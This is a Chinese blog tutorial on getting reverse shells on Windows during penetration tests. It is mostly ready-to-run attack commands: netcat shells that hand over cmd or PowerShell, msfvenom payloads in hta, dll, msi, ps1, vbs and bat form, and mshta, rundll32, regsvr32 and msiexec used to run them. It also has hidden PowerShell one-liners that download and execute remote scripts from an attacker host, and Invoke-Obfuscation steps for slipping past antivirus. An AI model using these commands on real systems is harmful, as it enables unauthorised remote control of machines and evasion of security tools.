渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试

2023-05-16

文章目录

  • 反弹shell介绍
  • 常用反弹方式
    • NetCat(NC)反弹
      • 正向NC
      • 反向NC
    • mshta.exe利用
      • msf利用模块
        • 方法一(msfconsole)
        • 方法二(msfvenom)
      • Cobaltstrike利用模块
      • hta攻击源码
    • rundll32.exe利用
      • msf利用模块
        • 方法一(msfconsole)
        • 方法二(msfvenom)
      • Rundll32加载hta
    • Regsvr32.exe利用
      • msf利用模块
    • msiexec.exe利用
      • msf利用模块
  • powershell脚本
    • PowerShell加载远程脚本
    • powershell版本NC
    • 通过Web delivery反弹shell
      • msfconsole生成
      • CS生成
    • 使用powershell执行.vbs文件
    • 使用powershell执行.bat文件
  • 绕过杀软
    • 混淆处理

反弹shell介绍

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:

  1. 正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
    不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。
    在这里插入图片描述
  2. 反向反弹: 被控端主动发送请求连接我们的控制端。
    这种方法是可以想办法避开防火墙和路由的一些限制的!
    在这里插入图片描述

常用反弹方式

NetCat(NC)反弹

正常情况下,Windows系统中是不带NC的,我们想要使用NC需要先将此程序上传至目标机器,这里网上自行找资源吧,我NC本来想传到CSDN中的,但是审核不过去,没办法。
下载好nc后可以cd到下载目录使用,或将nc目录添加到环境变量中使用!
在这里插入图片描述

正向NC

正向的反弹是先让目标机器做好准备的情况下,等待攻击机连接。所以我们需要现在被控端执行命令,然后在控制端执行连接!

# 被控端
## 使用更详细(-vv)的监听模式(-l)监听指定端口号(p)的入站信息,并且入站程序导入指定程序(-e)。
nc -lvvp 端口号 -e 使用程序
## 如(被控端将本地powershell程序重定向到本地6543端口中,控制端只需要主动连接6543端口即可获得此程序的使用权!)
nc -lvvp 6543 -e powershell.exe

# 控制端(当前我的被控端地址为:192.168.1.251)
nc 目标地址 端口
nc 192.168.1.251 6543

上述的powershell可以换成cmd!在这里插入图片描述

反向NC

和正向刚好相反,我们现在需要在控制机中开启监听,等待被控机对我们进行主动连接!

# 控制端
nc -lvvp 端口
# 如
nc -lvvp 4567
# 被控端(当前控制端IP为192.168.1.169)
nc -e 使用程序 目标地址 端口
# 如
nc -e cmd.exe 192.168.1.169 4567

在这里插入图片描述

mshta.exe利用

mshta.exe是用于负责解释运行HTA(HTML应用程序)文件的Windows系统应用程序。可以运行JavaScript或VBScript的HTML文件。这是Windows系统中自带的一个应用!我们可以利用执行我们的.hta木马程序来进行shell的反弹!

msf利用模块

方法一(msfconsole)

模块地址: exploit/windows/misc/hta_server

# 进入msf模块
use exploit/windows/misc/hta_server
# 此模块我们需要设置srvhost和srvport,因为这个攻击载荷会开启一个web服务让目标访问!这里srvhost和srvport就是用来定义服务开启在哪个ip和端口的,默认使用0.0.0.0是会开启在本地所有ip上!
set srvhost 本地IP
# 使用的攻击载荷,我是windows/x64/meterpreter/reverse_tcp
set payload 攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
# 默认是x86的,这里我们选择x64的
set target 1
# 绑定攻击机IP
set lhost 192.168.1.200
# 启动脚本
run

在这里插入图片描述
启动后后生成一个目标地址,只需要让目标执行mshta 目标地址(mshta http://192.168.1.200:8080/PgE4ymVU3VQ.hta)即可上线目标机器!
在这里插入图片描述

方法二(msfvenom)

msfvenom模块同样也支持生成.hta文件

# /bin/bash中执行生成木马文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4456 -f hta-psh -o 1.hta
# 开启一个简易服务器,以供目标机器下载木马(当前下载地址为http://192.168.1.200:6123/1.hta)
python3 -m http.server 6123
# msfconsole中执行监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 4456

在这里插入图片描述
目标机器同样是执行mshta http://192.168.1.200:6123/1.hta即可上线!

Cobaltstrike利用模块

除了上述的msf外,cs同样也可以生成hts文件并且加以利用!
首先我们在生成后门选项中选择HTML Application并将其生成的.hta文件保存
在这里插入图片描述
然后使用钓鱼工具中的文件下载,开启一个下载服务已供目标下载
在这里插入图片描述
然后只需要目标执行mshta http://43.128.11.131:8081/download/file.ext即可上线。
注: 这里生成的木马为32位的,可能在64位主机运行时候出现问题!如果是64位主机的话,最好还是运行msf中生成的木马!

hta攻击源码

我们根据上述msf生成的hta木马源文件可以看出,其实这种攻击最终还是调用了powershell来执行一些反弹shell的操作!不过其中进行了一些混淆操作来减少被杀软发现的可能性!
在这里插入图片描述

rundll32.exe利用

用过Python的应该知道,Python之所以强大就是因为有很多库的支持,比如我们想要生成一个随机数,只需要调用random库即可。而动态链接库DLL (Dynamic Link Library) 则是Windows中的库。它包含一些常用的方法,并且允许不同的程序去调用它的代码和数据。这里的Rundll32.exe则是Windows中专门用来调用这些库(DLL)中的函数(16位或32位),并将其存储在适当的内存库中的程序。

msf利用模块

方法一(msfconsole)

使用模块: exploit/windows/smb/smb_delivery
这里需要注意,我们要用root身份运行msf,因为等会会调用445端口,只有root用户才有权限使用此端口(下载dll时默认从445下载,想要修改端口会比较麻烦!)

# 使用此模块
use exploit/windows/smb/smb_delivery
# 此命令默认会调动445端口,这里就最好别改为其他端口,目标机器下载dll文件时会默认使用445端口!
# 绑定攻击机IP
set lhost 192.168.1.200
# 下面我因为4444端口已经被占用了,所以我换了一个端口
set lport 4454
# 运行后会生成一个rundll32.exe命令只需要在目标机器中执行此命令即可上线
# rundll32.exe \\192.168.1.200\kbFWW\test.dll,0

在这里插入图片描述

方法二(msfvenom)

# 攻击机生成文件
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=5333 -f dll -o test.dll
# 开启web服务,提供木马下载
python3 -m http.server
# 开启监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 5333

# 目标下载文件(certutil是一个Windows自带的证书服务,我在渗透测试常用文件传输方法中-Windows篇这个博客中介绍过)
certutil.exe -urlcache -split -f http://192.168.1.200:7789/test.dll
# 执行的dll最好写绝对路径!!!
rundll32 shell32.dll,Control_RunDLL C:\渗透测试工具\test.dll

在这里插入图片描述

Rundll32加载hta

Rundll32不仅能加载dll文件,还可以加载hta

# 这里我就5333和上面调用一样的端口,就不用在生成监听器了
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=5333 -f hta-psh > 1.hta
# 和上面差不多,将我们的木马传输到目标机器
certutil.exe -urlcache -split -f http://192.168.1.200:7785/1.hta
# 执行的时候调用url.dll即可
rundll32.exe url.dll,OpenURL C:\Users\xunmi\1.hta

在这里插入图片描述

Regsvr32.exe利用

Regsvr32也是一个和dll有关的程序,它主要复制注册和注销OLE控件,OLE(对象链接与嵌入)控件主要指的就是Windows注册表中的dll和ActiveX控件!此工具默认会在%systemroot%\System32(C:\Windows\System32) 文件夹中

Regsvr32常用属性作用
/u注销服务器
/i调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它调用dll来卸载
/n不要调用DllRegisterServer; 此选项必须与/i一起使用
/s沉默; 不显示消息框

msf利用模块

使用模块: exploit/multi/script/web_delivery

# 首先我们先将生成的攻击文件设置为Regsvr32格式
set target 3
# 选择攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
# 绑定攻击机IP
set lhost 192.168.1.200
# 然后根据自己机器端口占用情况设置lport和srvport即可!

在这里插入图片描述

msiexec.exe利用

msiexec.exe是Windows系统安装引擎,微软安装包.msi(MSI:microsoft installer)就是使用msiexec.exe来解释安装。我在Windows常用提权博客中的总是以高权限安装(Always Install Elevated)中说过,如果管理员配置不当,我们是可以利用.msi安装程序的一个漏洞来执行提权命令的。有兴趣的同学可以去查看一二。

msf利用模块

这里主要是用msfvenom模块来生成一个msi的命令包

# 同样是先生成目标
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4578 -f msi > 1.msi
# 挂载出来以供下载
python3 -m http.server 6542
# 设置监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 4578
# 下载执行(/q为静默执行 /i不输出任何日志文件)
msiexec /q /i http://192.168.1.200:6542/1.msi

powershell脚本

上述很多反弹shell命令最终都还是会去调用powershell进行反弹,在上述mshta.exe攻击时候的源码即可看出,我们生成的各种反弹shell脚本大部分本质都是披着各种外皮的PowerShell脚本。

PowerShell加载远程脚本

# 生成powershell的反弹脚本
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4578 -f psh-reflection -o shell.ps1
# 挂载出来以供下载
python3 -m http.server 6542
# 执行反弹shell命令(使用隐藏的(hidden)无限制的(bypass),并加载到内存中的(IEX)远程脚本)
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:6542/shell.ps1')";

在目标机器中的cmd中执行上述反弹shell脚本后,则会在cmd中启动一个powershell子经常来执行我们的反弹命令!
在这里插入图片描述

powershell版本NC

开源下载地址: https://github.com/besimorhino/powercat
首先我们需要将此脚本上传到目标靶机中!

# 现在我们的攻击机中启动nc监听
nc -lvvp 12345
# 然后加载远程脚本连接到我们攻击机中即可
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://43.128.11.131:8000/powercat.ps1');powercat -c 192.168.1.200 -p 12345 -e cmd"

在这里插入图片描述

通过Web delivery反弹shell

msfconsole生成

使用模块: use exploit/multi/script/web_delivery

use exploit/multi/script/web_delivery
# 常规配置
set payload windows/x64/meterpreter/reverse_tcp
set target 2
set lhost 192.168.1.200
set lport 8525
run

在这里插入图片描述

CS生成

具体用法如下图,只需将生成的命令想办法让目标机器执行即可!
在这里插入图片描述

使用powershell执行.vbs文件

启动.vbs我们需要用到cscript.exe,它可以来执行wsf、js和vbscript脚本。

# 首先生成一个.vbs的脚本
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=7777 -f vbs -o 1.vbs
# 挂载出来以供下载
python3 -m http.server 6542
# 启动监听
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.200 -P 7777
# 执行反弹shell命令
powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.200:6542/1.vbs','$env:temp\test.vbs');Start-Process cscript.exe '$env:temp\test.vbs'"

使用powershell执行.bat文件

.bat是Windows下的一个批处理文件,Windows默认就可以直接调用执行,理论上是蛮方便的,不过这种方法我并没有成功复现。

# 首先生成一个.bat的脚本
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=192.168.1.200 LPORT=7788 -o 1.bat
# 挂载出来以供下载
python3 -m http.server 6542
# 启动监听
handler -p cmd/windows/powershell_reverse_tcp -H 192.168.1.200 -P 7788
# 执行反弹shell命令
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200:6542/1.bat');1.bat";
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.200:6542/1.bat')"

绕过杀软

混淆处理

这里我主要会用到一个做混淆处理的powershell模块Invoke-Obfuscation
下载地址: https://github.com/danielbohannon/Invoke-Obfuscation

# 设置powershell的模式,让我们的脚本可以自由运行
powershell.exe -ep bypass
# 加载脚本
Import-Module ./Invoke-Obfuscation.psd1
# 启动脚本
Invoke-Obfuscation

在这里插入图片描述
设置需要混淆的源代码所在位置

set scriptpath I:\渗透测试\临时文件\源反弹shell代码.ps1

在这里插入图片描述
设置混淆方式

token\all
1
# 或(效果相同)
token\all\1

在这里插入图片描述
输出混淆文件

out I:\渗透测试\临时文件\混淆后的代码.ps1

在这里插入图片描述
对比可以看出,这种混淆的原理就将我们的原本的代码关键词乱序排放,来让杀毒软件找不到我们木马的特征!除此之外Invoke-Obfuscation还有很多其他的加密混淆功能!
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试 的相关文章

  • 运算放大器-虚短虚断

    运算放大器 虚短虚断 虚短虚断 虚短 虚短指在理想情况下 xff0c 两个输入端的电位相等 xff0c 就好像两个输入端短接在一起 xff0c 但事实上并没有短接 xff0c 称为 虚短 虚短的必要条件是运放引入深度负反馈 V 43 61
  • vscode 配置头文件路径

    1 打开 VSCode 界面 xff0c 在左下角找到齿轮 打开设置 xff0c 点击配置文件 2 在配置文件中添加相应的头文件路径
  • vscode 编码格式配置及保存(统一工程的编码格式,防止中文注释乱码)

    使用 VSCode 统一工程的编码格式 打开不同编码格式的文件 xff0c 点击右下角编码格式 xff0c 通过不同的编码来保存 xff0c 防止更改编码格式时导致中文注释乱码
  • CentOS7安装oracle12G调不出图形化界面

    问题 xff1a centos如果无图形化界面 xff0c 在安装oracle xff0c 调用图形化界面时会遇到问题 xff0c 报错为 xff1a 无法使用命令 usr bin xdpyinfo 自动检查显示器颜色 请检查是否设置了 D
  • STM32外围电路硬件解析

    复位电路 xff1a 复位 xff1a 让MCU回到最开始的状态 并且从头开始 xff0c 重新执行程序 我们什么时候需要复位 xff1f 1 烧录的时候 2 程序跑飞了的时候 3 上电复位 xff08 上电的时候需要复位 xff09 复位
  • stm32f103——中断——UART中断服务函数

    在程序中 xff0c CPU对外界突发事件进行处理的方式又两种 xff1a 1 轮询系统 xff1a xff08 在main中 xff0c 使用while循环 xff0c 进行循环判断外界事物是否发生 xff09 while xff08 1
  • Docker快速入门,看这个就够了

    Docker快速入门 一 Docker介绍1 1 Docker背景1 2 Docker概念1 3 Docker的优势1 4 Docker的三个基本概念 二 Docker的安装和使用2 1 安装依赖包2 2 安装Docker 三 启动Dock
  • Kubernetes(K8S)集群部署搭建图文教程(最全)

    Kubernetes 集群安装 前期准备集群安装系统初始化Harbor采取私有的仓库去镜像使用集群检测集群功能演示 前期准备 第一步 xff1a Router软路由构建 第二步 xff1a centos7安装 5台 xff08 自行安装 x
  • 【STM32-HAL库】一步步搭建出FOC矢量控制(附C代码)

    说明 本文为无刷电机或PMSM电机驱动的简易代码 xff0c 旨在分享一些个人调试过程的小心得 xff0c 提供一个demo文件 xff0c 程序仍有许多不完善的地方 xff0c 建立起个人的FOC底层驱动 xff0c 可以帮助快速熟悉FO
  • Ubuntu整个系统迁移到其他盘办法

    Ubuntu整个系统迁移到其他盘办法 一 xff1a 制作U盘启动器 xff0c 刻录Ubuntu系统 从U盘引导进入系统 xff0c 点击 xff1a try Ubuntu without install选项 二 xff1a 把需要迁移的
  • 四旋翼无人机飞控系统设计(基础知识篇)

    飞行原理 四旋翼的结构组装有十字模式和X模式之分 xff0c 两者的基本原理一致 xff0c 方向结构不同 xff0c 都是通过四个电机的组合状态进行控制姿态飞行 xff0c 而十字型四旋翼机头是对准其中一个电机的 xff0c X型的四旋翼
  • 大数据组件-Maxwell常用命令(持续更新完善)

    Download Download binary distro https github com zendesk maxwell releases download v1 33 0 maxwell 1 33 0 tar gz Sources
  • 【px4编译】make px4fmu-v3_default upload 不能使用

    今天遇到编译pixhawk2代固件无法upload的问题 xff0c 出现TypeError a bytes like object is required not str xff0c 在1代中是可以make upload的 ninja E
  • 【PX4代码】关于px4代码中timestamp与gps_itow的时间问题

    gps的输出频率为5hz xff0c 由此可见timestamp应该是113248090 1e 6转换为s xff0c 由次可见gps的itow时间应该为271998999 1e 3转换为s 总结 px4中的时间为cpu应该除以10 6 x
  • 【PX4代码】关于ekf2输出频率只有1ohz的问题

    问题 我在使用的是pixhawk 2代 imu的输出频率都在100hz以上 xff0c 使用的gps模块输出频率为5hz xff0c 使用log的local position csv 查看ekf2估计输出的点位信息只有10hz xff0c
  • Keil4中C51的debug调试步骤技巧

    1 选择相应的调试仿真连接器 xff1a 选择 xff1a project gt Options for Target 如下图所示 xff1a 然后在弹出对话框的Debug选项下选择仿真器的型号 xff1a 2 进入调试 xff1a 3 部
  • 怎么操作linux服务器

    Linux 服务器就是采用 Linux 系统的网络服务器 xff0c 同时也有采用 windows 的服务器 xff0c 作用是类似的 而 Linux 并不是一个特定的系统 xff0c 而是使用 Linux 内核的系统 xff0c 现在发行
  • 人工智能如何可以思考?

    近日在给同事讲人工智能的时候 xff0c 提到当数据量不够的时候 xff0c 必要时需要加入人工工程 xff0c 引导计算机 归纳 一些知识 xff0c 毕竟计算机智能比起人类智能 xff0c 最大的缺陷可能在于不懂得 举一反三 换句话说
  • bag文件内topic对应的frame_id查看指令

    启动ROS roscore 运行数据集 span class token comment 数据集小的话 xff0c 建议慢速播放 span rosbag play xxx span class token punctuation span
  • GPS数据类型(ROS)

    文章目录 一 传感器分类二 作用三 系统组成四 位置表示五 数据格式六 ROS中GPS数据格式sensor msgs NavSatFixROS中GPS数据主要包含这四类 xff0c 分别是gps 裸数据ros封装 xff0c 位置 xff0

随机推荐